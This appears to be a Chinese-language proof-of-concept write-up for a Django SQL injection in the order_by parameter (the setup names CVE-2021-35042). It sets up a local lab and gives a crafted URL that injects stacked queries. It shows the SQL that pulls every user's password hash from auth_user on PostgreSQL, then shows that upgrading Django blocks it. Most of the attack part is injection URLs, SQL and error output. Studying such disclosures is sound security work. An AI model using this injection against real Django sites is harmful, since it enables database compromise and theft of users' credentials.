Django SQL注入漏洞
问题:探索它的可利用程度有多大?
答案:我很害怕
poetry install
poetry run ./manage.py migrate
poetry run ./manage.py loaddata dummydata.json
poetry run ./manage.py runserver
访问 http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22
注意,?order_by 参数传递了一个原始SQL引用,指向列 "core_things_tags"."things_id"
这感觉像是你能走到的极限了:http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- 这会关闭第一个SQL查询,转换为如下的SQL:
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()
这失败了,错误如下:
Warning at /
You can only execute one statement at a time.
这只是因为SQLite一次只能运行一个查询
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # 替换为你自己的PostgreSQL服务器的有效DATABASE_URL
poetry run ./manage.py migrate
poetry run ./manage.py loaddata dummydata.json
poetry run ./manage.py createsuperuser # 按照提示操作
这运行了以下SQL:
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;
你现在基本上可以为所欲为了。这个查询窃取了每个用户的密码哈希值。
现在临时升级Django
poetry shell
pip install Django==3.2.5
重新访问上面的URL,并注意它不再工作了:
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags